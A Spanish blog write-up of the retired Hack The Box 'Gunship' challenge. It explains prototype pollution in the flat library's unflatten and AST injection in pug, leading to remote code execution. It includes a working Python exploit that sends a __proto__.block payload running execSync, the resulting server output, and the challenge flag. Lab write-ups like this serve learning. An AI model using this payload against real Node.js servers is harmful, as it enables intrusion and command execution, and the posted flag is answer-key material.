Home Gunship
Post
Cancel

Gunship

Gunship


Descripción

A city of lights, with retrofuturistic 80s peoples, and coffee, and drinks from another world… all the wooing in the world to make you feel more lonely… this ride ends here, with a tribute page of the British synthwave band called Gunship. 🎶

Vulnerabilidad: vulnerable a la contaminación de prototipos, método: AST Injection.


¡Hola a todos!, este es un reto que he realizado hace un tiempo de HTB, y aprovechando que fue retirado para subirlo y así ustedes aprendan algo nuevo con este tipo de retos, sin más que decir ¡Comencemos!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const path              = require('path');
const express           = require('express');
const pug                = require('pug');
const { unflatten }     = require('flat');
const router            = express.Router();

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/submit', (req, res) => {
    const { artist } = unflatten(req.body);

    if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
        return res.json({
            'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
        });
    } else {
        return res.json({
            'response': 'Please provide us with the full name of an existing member.'
        });
    }
});

module.exports = router;

Revisando el código fuente que HTB nos deja ver lo primero que hice fue buscar lo que no entendía en el código y sabiendo que había hecho en ese entonces una rest API entendí más sobre como estaba construida este tipo de APIS con node, express, etc… Y me pareció raro ver pug y unflatten, y que unflatten era lo más usado en el código, así que me puse a buscar que su uso, el cual era: lo que hace flatten es devolver un objeto anidado con un nivel de profundidad, algo como esto, y unflatten hace que el método anterior sea reversible.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var flatten = require('flat')

flatten({
    key1: {
        keyA: 'valueI'
    },
    key2: {
        keyB: 'valueII'
    },
    key3: { a: { b: { c: 2 } } }
})

// {
//   'key1.keyA': 'valueI',
//   'key2.keyB': 'valueII',
//   'key3.a.b.c': 2
// }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var unflatten = require('flat').unflatten

unflatten({
    'three.levels.deep': 42,
    'three.levels': {
        nested: true
    }
})

// {
//     three: {
//         levels: {
//             deep: 42,
//             nested: true
//         }
//     }
// }

Y sabiendo como esta compuesta la app nos damos una idea que este objeto es enviado al servidor así que me propuse a buscar si habia alguna forma de explotar esto así que lo primero que se me vino a la mente ver si unflatten en el pasado ha tenido alguna vulnerabilidad, y con un poco de Google encontramos un articulo de contaminación de prototipos donde estaba unflatten y pug. (^^)

Articulo: https://blog.p6.is/AST-Injection/

Leyendo un poco y analizando el código fuente de la app nos damos cuenta de que los exploit de unflatten se explotan mediante Handlbars.compile y en ninguna parte se usa el método pug, para los que están perdidos como yo lo estuve en este punto handlbars pre compila la plantilla que hay y la manda al cliente ejecutándose inmediatamente en el proceso convirtiendo la cadena en una función de la plantilla, en p6 explica mejor esto aparte de como explotarlo en nuestro caso lo que nos interesa es pug.compile que es lo mismo que handlbars.compile solamente que pug.compile esta enfocado para node.js

Ya sabiendo estos pequeños detalles pasemos a la acción con el exploit, recuerda que debemos cambiar el exploit de pug.compile de la web de p6 con la URL target o sea de ginshup, y atacando el punto principal, /api/submit teniendo en cuenta que nuestra en la carpeta de nuestra app sabemos la ruta de static gracias al código fuente static/out verificamos si nos deja aprovechar de alguna forma el RCE (Remote Code Execution Vulnerability) con por ejemplo $(ls), para más detalle de lo que es RCE es una forma de ejecutar o inyectar comandos del sistema operativo donde se esté ejecutando la app, pero ¿Por qué $(ls)?, recuerda que no solamente existe este comando pues hay otras formas más dolorosas como sleep que nos permiten que el proceso se duerma en un unos segundos que le especifiquemos, pero volviendo a la pregunta, es más interesante de explicar por el tema de que se usa a lo que se llama command substituion que crea una subshell sin afectar la verdadera haciendo que nuestro comando sea sustituido por la salida estándar, ¿Curioso no?. Después de todo este pug va a compilar la plantilla verificando también que pasamos artist.name para que nos valide

Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

TARGET_URL = 'http://157.245.43.98:32676/'

# make pollution
response = requests.post(TARGET_URL + 'api/submit', json = {
    "artist.name": "Gingell",
    "__proto__.block": {
        "type": "Text",
        "line": "process.mainModule.require('child_process').execSync(`$(ls)`)"
    }
})
print(response.text)

Archivo:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: $(ls)<br>/bin/sh: flagJhQbu: not found<br> on line 1<br> &nbsp; &nbsp;at checkExecSyncError (child_process.js:621:11)<br> &nbsp; &nbsp;at Object.execSync (child_process.js:657:15)<br> &nbsp; &nbsp;at eval (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), &lt;anonymous&gt;:13:63)<br> &nbsp; &nbsp;at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), &lt;anonymous&gt;:17:7)<br> &nbsp; &nbsp;at /app/routes/index.js:16:81<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/app/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /app/node_modules/express/lib/router/index.js:281:22</pre>
</body>
</html>

Luego de tener el nombre del archivo de la flag flagJhQbu solamente usamos cat para ver el archivo por dentro y nos mostraria la flag completa.

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: $(cat flagJhQbu)<br>/bin/sh: HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}: not found<br> on line 1<br> &nbsp; &nbsp;at checkExecSyncError (child_process.js:621:11)<br> &nbsp; &nbsp;at Object.execSync (child_process.js:657:15)<br> &nbsp; &nbsp;at eval (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), &lt;anonymous&gt;:13:63)<br> &nbsp; &nbsp;at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), &lt;anonymous&gt;:17:7)<br> &nbsp; &nbsp;at /app/routes/index.js:16:81<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/app/node_modules/express/lib/router/route.js:137:13)<br> &nbsp; &nbsp;at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /app/node_modules/express/lib/router/index.js:281:22</pre>
</body>
</html>

Flag: HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!}

Gracias por leer <3
This post is licensed under CC BY 4.0 by the author.

Bypass CAPTCHA

Kernel